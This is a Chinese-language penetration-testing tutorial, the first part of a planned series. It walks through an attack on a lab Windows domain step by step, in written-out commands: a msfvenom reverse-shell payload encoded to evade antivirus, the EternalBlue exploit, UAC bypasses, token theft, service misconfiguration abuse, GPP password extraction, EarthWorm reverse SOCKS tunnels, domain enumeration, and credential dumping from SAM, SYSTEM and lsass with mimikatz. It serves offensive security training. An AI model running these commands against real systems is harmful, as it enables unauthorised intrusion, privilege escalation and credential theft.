本文是關於內網安全系列的文章,我計劃分為3部分來寫,內網滲透三步走戰略。在文章中我將儘可能把內容描述的通俗易懂一些,因為目前網上關於內網安全的文章不多也不少,但是對於新手來說都不怎麼友好,我在一開始學習的時候也遇到了許多困難,所以我想盡我所能的讓讀者能夠理解內網安全以及一系列的滲透過程。
我將內網滲透分為三個部分,分別為:
信息搜集+內網提權+隧道搭建
內網橫向移動
持久化控制:後門+免殺
在本文中我將詳盡的描述第一部分,之後兩部分會在後續文章中依次進行。本文中出現的所有工具都可以找我拿Q:2070575892。
本文順序:
內網架構及反彈shell-》信息搜集1-》本地提權-》隧道搭建-》信息搜集2
(如果需要的話,我會添加一些基礎的前置知識,望能夠幫助入門的朋友更好地理解文章內容)
這麼做主要是因為提權與信息搜集是息息相關、相互嵌套的,你拿到怎樣的權限才能獲取相對應的信息,==內網滲透就是不斷獲取信息的過程==。在剛拿到內網機器時你的權限只允許你做簡單的信息搜集,而之後需要現根據之前搜集的內容進行提權,而要獲取內網中其他主機的信息以及後續對於其他主機的滲透又需要隧道進行通信,所以在提權後進行隧道搭建,最後實施進一步的信息搜集。
囉嗦了一些,下面終於要進入正文了。
Ⅰ 內網環境
我用一張圖來表示(其中域名為lce.com):
可以看到攻擊機kali與內網win7可以通信,win7、server2012(域控)和xp在同一個域內(lce.com),其中win7與server2012在同一個區域網,而server2012與xp又在另一個區域網內。
目前情況是我們已經拿到了win7的webshell,接下來我們需要通過kali拿到反彈shell,之後我們再橫向拿下域控,再進一步拿下xp這臺主機。
為什麼要反彈shell
一般來說目標主機與我們攻擊者之間都存在防火牆等安全設備,限制了流入目標主機的流量,導致我們直接連接目標主機會失敗。所以我們想讓目標主機主動連接我們,這就是反彈shell。
如何反彈shell
反彈shell的方法有很多,這裡推薦使用msfconsole+msfvenom,如果需要免殺還可以生成指令配合混淆免殺,比如Backdoor-factory等等。
我們通過反彈shell,將16.131的win7的shell反彈給我們的攻擊機10.200的kali。
1.生成目標文件 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=10.188.10.200 LPORT=6666 -f exe > attack.exe2.通過webshell上傳attack.exe到目標主機並運行。3.打開msf使用 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options 之後設置lpost和lhost即可 exploit4.得到反彈的meterpreter
PS:msfvenom參數說明: -p –payload < payload> 指定需要使用的payload -l payloads 查看所有的攻擊載荷 -e –encoder [encoder] 指定需要使用的encoder -i 5 –iterations <count> 指定payload的編碼次數為5次 -f 生成文件格式 lhost和lport分別為反彈到主機的ip和埠號
本機信息搜集(主要任務是探測本機簡單信息,為提權和進一步信息搜集做準備,其中有價值的信息主要是用網段信息、戶帳戶和系統信息)
whoami /all ipconfig /all net user systeminfo tasklist query user route print arp -a netstat -ano | findstr "3306" net share net session cmdkey list wmic product wmic service netsh firewall show config net statistics workstation上述命令按照是否常用順序排列。
其中ipconfig和net user以及systeminfo非常重要。通過ipconfig可以查看到當前主機位於哪個網段,如果還存在其他網段,那麼極有可能存在另一個區域網區域。比如上述環境中的win7,既與kali在同一個外網,也存在於另一個網段192.168.174.1中。所以進一步的信息搜集可以對這個網段掃描。
通過net user更是可以查看有哪些用戶存在,為下一步的域滲透和提權做準備。
通過systeminfo查看本機信息,獲取哪些補丁沒有打,為接下來提權做準備。
Ⅰ 溢出漏洞提權
溢出漏洞
緩衝區溢出漏洞,是由於惡意代碼在執行時,向緩衝區寫入超過其長度的內容,造成進程的堆棧被更改,進而執行惡意代碼,達到了攻擊的目的。我們主要需要利用工具找出系統相關系統漏洞並加以利用,配合msf或者Cobaltstrike等相關工具實現提權。
msf > use post/windows/gather/enum_patches
通過已經獲取的meterpreter的session查詢目標主機存在的可以利用的漏洞windows-exploit-suggester.py -d vulinfo.xls -i systeminfo.txt
其中systeminfo.txt內容是通過systeminfo命令獲取的系統信息,裡面記錄了所有打過的補丁,windows-exploit-suggester.py這個py文件根據補丁記錄與漏洞信息(vulinfo.xls)進行比較,獲得可以利用的相關漏洞。import-module Sherlock.ps1find-allvulns
首先導入Sherlock.ps1這個powershell模塊,之後調用find-allvulns查詢可以利用的漏洞。.\Vulmap.ps1
直接執行腳本Vulmap.ps1,可以自動查詢出本機可以利用的漏洞。.\KBCollect.ps1 .\cve-check.py -u .\cve-check.py -U .\cve-check.py -C -f KB.json.\ms17-010-m4ss-sc4nn3r-master.exe 10.188.16.131
查詢IP主機是否存在ms17-010漏洞利用。當然還有其它方法,我這裡就不一一列舉了。在拿到可以利用的漏洞以後,可以使用msf自帶的exploit模塊進行攻擊,或者在windows-kernel-exploits公開的收集庫中查找可以用來提權的exp。
我這裡通過msf使用永恆之藍(ms17-010)拿到win7的system權限。
msf5 > use exploit/windows/smb/ms17_010_eternalbluemsf5 > show optionsmsf5 > set rhost 10.188.16.131msf5 > exploitⅡ ByPassUAC
關於UAC
User Account Control,用戶帳戶控制是微軟為提高系統安全而在Windows Vista中引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供權限或管理員密碼。也就是說一旦用戶允許啟動的應用程式通過UAC驗證,那麼這個程序也就有了管理員權限。
這裡我主要介紹使用msf以及另外兩個框架內來bypass,以及簡單利用CobaltStrike4.0來提權。
在得到反彈的meterpreter後,我們執行background,將session放到後臺,之後,選取bypass模塊。msf5 > use exploit/windows/local/bypassuac //或者use exploit/windows/local/bypassuac_injection //或者use exploit/windows/local/bypassuac_vbsmsf5 > show optionsmsf5 > set session 3 //這裡的session就是我們反彈shell得到的meterpretermsf5 > exploit這裡介紹使用nishang開源框架,主要用於後滲透攻擊,存在許多模塊,比如提權,埠掃描,後門等等。首先下載nishang後上傳到目標機器(win7),之後使用msf獲取的底用戶權限的shell導入nishang框架,並使用。import-module .\nishang.psm1 Get-Command -Module nishang Invoke-PsUACme
其他模塊先不做具體介紹,在接下來還會陸續使用。基本上看名字就可以知道它的用處。最後介紹Empire框架,它類似於msf,也是一款集成的工具。首先我們需要下載並安裝Empire到kali,之後操作類似msf反彈shell,可以獲取目標機器的會話(這裡略過)。之後bypass提權我們使用usemodule privesc/bypassuac這個模塊。> usemodule privesc/bypassuac> info> set listener w7 //這裡的w7是之前反彈會話時設置的監聽> executeCobaltStrike4.0(大名鼎鼎QAQ)以kali為例講解下載好以後進入其目錄,打開兩個終端以便於後續操作,以下指令最好用root權限執行。./teamserver 10.188.10.200 pass ./start.sh Cobalt Strike->Listenners Attacks->Packages->Windows Executable 類似於meterpreter,我們會獲得一個beacon用來執行命令。之後進行提權,我們這裡選擇uac提權,也可以選擇其他方式。以圖來說明。
CobaltStrike還有其他許多用處比如:桌面交互、進程列表、埠掃描、代理、釣魚等功能,域內功能包括mimikatz、hashdump、金票據等等,我們之後也會陸續介紹。可以說CobaltStrike是一款強大的圖形化的內網工具。
Ⅲ 令牌竊取
關於Token
Windows有兩種類型的Token:Delegation token(授權令牌):用於交互會話登錄(例如本地用戶直接登錄、遠程桌面登錄)
Impersonation token(模擬令牌):用於非交互登錄(利用net use訪問共享文檔夾)
另外,兩種token只在系統重啟後清除。具有Delegation token的用戶在註銷後,該Token將變成Impersonation token,依舊有效。
這裡介紹兩種方式使用令牌竊取進行提權。
incognito:exe/msf均可,msf中的incognito是從windows中的exe文件中移植過去的,這裡以msf自帶的incognito為例。首先我們進入之前獲取的meterpretermsf5 > session 3meterpreter > load incognito meterpreter > getuid meterpreter > list_tokens -u meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" meterpreter > getuid meterpreter > rev2self
windows平臺下的incognito.exe操作與此類似。rotten potato+meterpreter,適用於當沒有Impersonmate Token時的情況。首先上傳rottenpotato.exe到目標主機meterpreter > list_tokens -u meterpreter > execute -cH -f rottenpotato.exe meterpreter > list_tokens -u meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" Ⅳ 系統配置錯誤提權可信任服務路徑
包含空格且沒有引號的路徑漏洞
計算機系統管理員在配置相關服務時,會指定可執行文件的路徑,但是如果服務的二進位路徑未包含在引號中,則作業系統將會執行找到的空格分隔的服務路徑的第一個實例。
比如:C:\Program Files\Vul file\example.exe
嘗試依次執行:C:\Program.exe、C:\Program Files\Vul.exe、C:\Program Files\Vul file\example.exe如果可以找到這樣的路徑,我們只需要寫的權限,可以放置一個惡意文件,讓作業系統把惡意文件執行。
查找可信任服務路徑
使用wmic查詢:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """使用msfmsf5 > use exploit/windows/local/trust_service_pathmsf5 > show options //可以看到只需要之前獲取的meterpreter的sessionmsf5 > set session 3msf5 > exploit系統服務權限配置錯誤
低權限用戶對系統調用的可執行文件有寫權限,可以將該文件替換成任意可執行文件。
查找權限配置錯誤import-module powerup.ps1 invoke-allchecks使用msfmsf5 > use exploit/windows/local/service_permissions之後只需設置session即可
AlwaysInstallElevated
AlwaysInstallElevated
是一種允許非管理用戶以system權限運行安裝程序包(.msi文件)的設置。默認情況下禁用此設置,需系統管理員手動啟用。查找並利用
import-module powerup.ps1get-registryAlwaysInstallElevated write-useraddmsi useradd.msi,msiexec /q /i useradd.msi配置文件竊取
網絡管理員配置時的配置文件,可能存在密碼等信息。主要是搜索文件系統來查找常見的敏感文件。
dir /b /s c:Unattend.xmlC:\Users\user\Desktop> dir C:\*vnc.ini /s /b /cC:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*...使用msfmsf5 > post/windows/gather/enum_unattendGPP(組策略首選項)
組策略首選項
管理員在域中新建策略後,會在SYSVOL共享目錄中生成XML文件,保存著密碼等敏感信息。powersploit框架(類似於nishang框架,也是一款後滲透神器)首先下載powersploit框架後,進入目錄打開命令窗口import-module powersploit.psm1 get-command get-gpppassword使用msfmsf5 > use post/windows/gather/credentials/gppⅤ 其他應用提權其他應用主要是拿到webshell後進行資料庫提權,比如mysql、mssql等,或者目標主機上的其他應用,但不是我們這裡的重點,有興趣的讀者可以自行學習。
隧道的搭建是內網滲透中必不可少的一環,利用打通的隧道,攻擊者可以通過內網邊緣主機進入內網環境,實施進一步的攻擊。
在一開始的內網架構說明中,我們的win7(10.188.16.131)位於邊緣部分,我們拿下以後,將以此為跳板進入內網實施攻擊。總結的腦圖如下(我們接下來將講述圖中幾種隧道搭建的方式):代理工具(linux->proxychains/windows->proxifier)+ew(socks)
無論是使用socks代理還是搭建隧道,最終都需要在kali(如果你是Windows機器作為攻擊機那就用windows版)上藉助代理工具使用搭建的隧道或者socks。
linux下的proxychains+ew(earthworm)
目標:
在目標機器win7(10.188.16.131和192.168.174.119)上使用ew轉發到我們的攻擊機kali的8888埠(10.188.10.200);
然後我們在kali上使用ew將win7轉發過來的流量映射到本地的1080埠,之後我們使用proxychains代理訪問本地的1080埠,那麼流量就會從kali的1080到kali的8888再到win7主機。
即:10.188.10.200:1080->10.188.10.200:8888->10.188.16.131操作:
下載linux和windows下的ew(earthworm),並上傳到kali和win7;在linux上安裝proxychains,並進行配置;sudo apt-get install proxychains4 vi /etc/proxychains.conf
./ew_for_Linux -s rcsocks -l 1080 -e 8888 ew_for_Win.exe -s rssocks -d 10.188.10.200 -e 8888 之後就可以在kali上使用proxychain4來訪問了。proxychains4 nmap 192.168.174.119 -Pn
PS:還可以使用ew進行多級代理,有興趣的讀者可以自行學習。windwos下的proxifier+ew(earthworm)這種情況是適用於攻擊機不是linux而是windows系統時,其中ew的操作相同,只有proxychains換為了windows下的proxifier。
(我們之前不能訪問這個網段,但是經過隧道後可以訪問了)
還有其他操作,後續會寫到。
因此,我們主要介紹proxifier的使用。下載後安裝;
啟動ew;
啟動proxifier後,添加代理服務和代理規則:
之後使用chrome就可以訪問192.168.174.119的伺服器。
關於其他方式的說明除了ew以外,其他隧道搭建工具比如nc(netcat)、lcx、reGeorg等等都可以使用,我這裡只是提供了一種方式。感興趣的讀者可以根據之前給出的隧道搭建的腦圖自行學習。
在提權和隧道做好以後,我們接下來將正式第一次從內網邊緣向內網內部「窺探」。第二次的信息搜集主要需要對內網主機進行探測,另外需要對域信息進行搜集,包括:域內用戶信息,域控信息,NTLM hash等等,目的是為接下來的橫向滲透做基礎(這一部分單獨放到下一篇文章中來講)。
林林是域的集合,多個域組成了林。比方說,xxx北京分公司在一個域,xxx上海分公司在另外一個域,而這兩個域又在同一個林中,方便了管理。
域環境域是區別於工作組的,為了方便管理和有效區分各個部門域,常見於企業公司中。
域的體系結構中最重要的是域控(DC),域控是裝有活動目錄(AD)的計算機,域控可以通過LDAP查詢AD控制域內的所有內容,並加以控制。一個域內可以有多臺域控,每臺域控有獨立的AD;
活動目錄(AD):Active Directory是微軟對目錄服務資料庫的實現,AD存儲了有關域內對象的信息,方便管理員和用戶可以查找並使用這些信息。其中通過LDAP(輕量級目錄訪問協議)來訪問AD;
Naming Context和Application Partitions:Naming Context是Active Directory的分區,分區的主要目的是在有多臺域控的時候,每臺域控只需要複製其他域控某些分區的內容即可,減少了工作量。三個默認存在的Naming Context是:Configuration NC(Configuration NC)、Schema NC(Schema NC)、Domain NC(DomainName NC)。在之後,微軟允許用戶自定義分區來擴展Naming Context,這就是Application Partitions。兩個預置的是:DomainDnsZones和ForestDnsZones;
域環境下的用戶:使用用戶名以及密碼通過域控制器進行驗證,可以在同一域內的任何一臺計算機登陸。其中管理員用戶又稱為域管,這裡的域管理員用戶與域控本機的管理員其實是分開的,但是他們的密碼是相同的;
域內的組:用戶是屬於組的。組按照用途分為通訊組和安全組,其中安全組是權限的集合,如果需要賦予某個用戶某種權限,那就可以將這個用戶加入對應的組。安全組又分為域本地組、通用組和全局組。
常見的域本地組是Administrators,它具備系統管理員的權限,擁有對整個域最大的控制權。
常見的通用組是Enterprise Admins,在林中,只有林根域才有這個組,林中其他域沒有這個組,但其他域默認會把這個組加入到本域的Administrators裡面去。
常見的全局組是Domain Admins,也就是域管組。其中Administrators包括Domain Admins和Enterprise Admins;域內的組織單位(OU):Organization Unit是專用容器,區別於普通容器的一點是OU受組策略的控制,它與組完全不同:組是權限的集合,而組織單位是被管理者的集合。組織單位包括:用戶,計算機,工作組,其他組織單位等;
組策略:組策略可以控制本機和域內的用戶以及他們的操作。組策略分為本機組策略和域的組策略,其中本機組策略用於計算機管理員管理本機所有用戶,而域的組策略用於域管對於域內用戶的控制。在後面我們會介紹通過組策略設置後門;
這是最後總結的圖:
搜集相關基礎
最主要目的是確認自己所處的是哪個域,以及域控的位置。
域控一般是本機的DNS伺服器。ipconfig /allnet time /domain /*1. 找不到域控制器:處於工作組,不存在域; 2. 發生錯誤,拒絕訪問:存在域,不是域用戶; 3. 查詢成功:存在域,是域用戶;*/net view /domainnet user /domainnet group /domainnet group "domain admins" /domainnet group "domain computers" /domainnet group "domain controllers" /domainnet accounts /domainnet config workstationwmic useraccount get /allnet loaclgroup [administrator]nltest /domain_trusts /all_trusts /v /server:域控IP埠、存活主機探測
nbtscan.exe 192.168.52.0/24 //內網存活主機探測use auxiliary/scanner/portscan/tcp //埠掃描,msf和其他下面的框架還有其他收集信息的模塊,也都可以嘗試。PowerSploit:Invoke-Portscan.ps1powerview:Invoke-userhunter/Invoke-processhunterNishang:Invoke-PortScanPsLoggedon.exe //查詢誰登陸過機器PVEFindADUser.exe //枚舉域用戶以及登陸過特定系統的用戶BloodHound //內網域滲透提權綜合分析工具除此以外還有其他許多方法,讀者可以自行探索、留言交流。密碼獲取
密碼的獲取是重中之重,關係到我們下一步橫向滲透,比如說利用pth、ptt、金票據、銀票據、AS-REP Roasting和ntlm-relay等等的實現以及原理都放到下一篇文章中講解。
神器mimikatz(msf也有內置的mimikatz模塊): privilege::debug sekurlsa::logonpasswords目前mimikatz一般會報毒,所以推薦將保存在註冊表中的密碼信息導出,傳到本地再用mimikatz: reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv reg save HKLM\SAM C:\windows\temp\Sam.hiv lsadump::sam /sam:Sam.hiv /system:Sys.hiv 讀取內從中密碼: procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" LaZagne工具可以讀取機器內的瀏覽器、SSH等保存的密碼。
本文介紹了入門內網滲透的第一步:內網架構及反彈shell-》信息搜集1-》本地提權-》隧道搭建-》信息搜集2,在之後會繼續把這個入門教程寫完,感謝支持。如果文中有錯誤或者有其他問題歡迎交流。感謝閱讀,謝謝。